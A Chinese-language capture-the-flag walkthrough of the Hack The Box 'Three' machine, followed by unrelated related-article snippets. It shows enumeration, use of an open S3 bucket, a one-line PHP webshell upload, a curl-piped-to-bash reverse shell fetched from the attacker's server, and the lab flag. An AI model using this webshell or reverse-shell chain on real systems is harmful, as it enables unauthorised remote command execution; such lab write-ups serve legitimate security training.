HTB:Three[WriteUP]

server/2024/9/30 2:01:43/

使用OpenVPN连接并启动机器


1.How many TCP ports are open?

 使用nmap对靶机进行扫描:nmap -sV 10.129.233.85

 可见仅开启了 22、80 共2个端口


2.What is the domain of the email address provided in the "Contact" section of the website? 

直接对靶机进行访问:http://10.129.233.85

在联系方式一栏找到域名:thetoppers.htb


3.In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?

这是常识题:/etc/hosts


4.Which sub-domain is discovered during further enumeration?

注:这里我根据官方的WP使用gobuster进行子域名枚举没能爆破出来

执行命令:gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb

如果Kali没安装selicsts字典,执行命令apt install seclists安装后再执行上述命令即可

官方WP是通过该字典爆破出来的:s3.thetoppers.htb


5.Which service is running on the discovered sub-domain?

将靶机IP写入hosts文件中,令该域名进行DNS本地解析:

echo "10.129.233.85 s3.thetoppers.htb" | sudo tee -a /etc/hosts

使用浏览器访问http://s3.thetoppers.htb

只显示{"status": "running"}字样

结合域名前的s3,通过Google搜索可知这是个Amazon S3服务


6.Which command line utility can be used to interact with the service running on the discovered sub-domain?

要与Amazon S3进行交互,我们可以使用工具awscli

在Kali上使用apt install awscli命令进行安装


7.Which command is used to set up the AWS CLI installation?

安装AWS CLI执行命令:aws configure


8.What is the command used by the above utility to list all of the S3 buckets?

 列出全部存储桶命令:aws s3 ls

但实际上我们这里需要列出 s3.thetoppers.htb 该域的全部存储桶

所需执行命令为:aws --endpoint=http://s3.thetoppers.htb s3 ls

再从指定存储桶中列出所有对象:aws --endpoint=http://s3.thetoppers.htb s3 ls thetoppers.htb


9.This server is configured to run files written in what web scripting language?

 通过存储桶中的对象,我们可以看到index.php文件,所以可以确定该Web脚本语言为php


Submit root flag

考虑到该服务使用PHP进行编写,并且允许我们对该桶进行增删改查

编写Webshell:<?php system($_GET[cmd]); ?>,保存至shell.php并上传至桶中

 接下来尝试用GET方法构造URL中的cmd参数进行命令执行

使用ls命令逐级查找flag的位置,最终在上一级目录找到了flag.txt


 接下来尝试利用webshell进行打反弹shell

本地写一个shell.sh文件来获得一个反弹shell,再使用nc持续监听

接着在shell.sh同目录下启动http.server服务,随便选择开启一个闲置端口

命令:python -m http.server 6666

在靶机Webshell中,通过curl访问本地shell.sh文件进行反弹shell

命令:curl 10.10.16.22:6666/shell.sh|bash

接着http服务端和nc监听端都能收到响应

http.server:

nc:

通过sh回到上一级目录,直接cat flag.txt


 flag:a980d99281a28d638ac68b9bf9453c2b


http://www.ppmy.cn/server/124748.html

相关文章

使用docker创建zabbix服务器

首先保证服务器已正常安装docker&#xff0c;然后执行下面这几个容器创建命令&#xff1a; #创建MySQL容器 docker run --name mysql-server -t --restartunless-stopped -e MYSQL_DATABASE"zabbix" -e MYSQL_USER"zabbix" -e MYSQL_PASSWORD"zabbix_…

经典sql题(十二)UDTF之Explode炸裂函数

1. EXPLODE: UDTF 函数 1.1 功能说明 EXPLODE 函数 是Hive 中的一种用户定义的表函数&#xff08;UDTF&#xff09;&#xff0c;用于将数组或映射结构中的复杂的数据结构每个元素拆分为单独的行。这在处理复杂数据时非常有用&#xff0c;尤其是在需要将嵌套数据“打散”以便更…

大数据是不是需要用很多ip

在当今信息爆炸的时代&#xff0c;大数据技术已成为推动各行业发展的重要驱动力。随着数据量的激增和处理需求的增加&#xff0c;IP地址的使用在大数据环境中显得尤为重要。本文将探讨大数据是否需要使用多个IP地址&#xff0c;以及背后的原因。 什么是大数据&#xff1f; 大…

4--苍穹外码-SpringBoot项目中分类管理 详解

前言 1--苍穹外卖-SpringBoot项目介绍及环境搭建 详解-CSDN博客 2--苍穹外卖-SpringBoot项目中员工管理 详解&#xff08;一&#xff09;-CSDN博客 3--苍穹外卖-SpringBoot项目中员工管理 详解&#xff08;二&#xff09;-CSDN博客 4--苍穹外码-SpringBoot项目中分类管理 详…

【C语言刷力扣】1014.最佳观光组合

题目&#xff1a; 解题思路&#xff1a; 一开始对本题尝试两层for 循环遍历&#xff0c;时间复杂度为 &#xff0c; 超出时间限制&#xff0c;需要降低时间复杂度。 题目中求的组合得分可以分为 values[ i ] i 和 values[ j ] - j 两部分 要求得最高分即求 values[ i ] i 和…

9.28 daimayuan 模拟赛总结

感觉 -S 模拟赛时间好紧啊 复盘 8:00 开题 扫了一遍四道题&#xff0c;感觉 T1 很典&#xff0c;T2 有点神秘&#xff0c;T3 计数&#xff0c;但限制是简单的&#xff0c;看上去非常可做&#xff1b;T4 也有点神秘 推 T1&#xff0c;先定根&#xff0c;然后树形dp是显然的&…

STM32LL库之printf函数重定向

1. 加入以下代码 int fputc(int ch,FILE *f) {LL_USART_TransmitData8(USART1,ch);while(!LL_USART_IsActiveFlag_TXE(USART1));//需要等待发送完成return(ch); }记得添加 stdio.h 头文件 2. 在MDK中勾选&#xff1a;Use MicroLIB

8:00面试,8:06就出来了,问的问题有点变态。。。

在职业生涯的旅途中&#xff0c;我们总会遇到各种意想不到的挑战和转折。我从一家小公司跳槽至另一家公司&#xff0c;原以为能够迎接全新的工作环境和机遇&#xff0c;却未曾料到&#xff0c;等待我的是一场职场风暴。 新公司的加班文化让我倍感压力&#xff0c;虽然薪资诱人…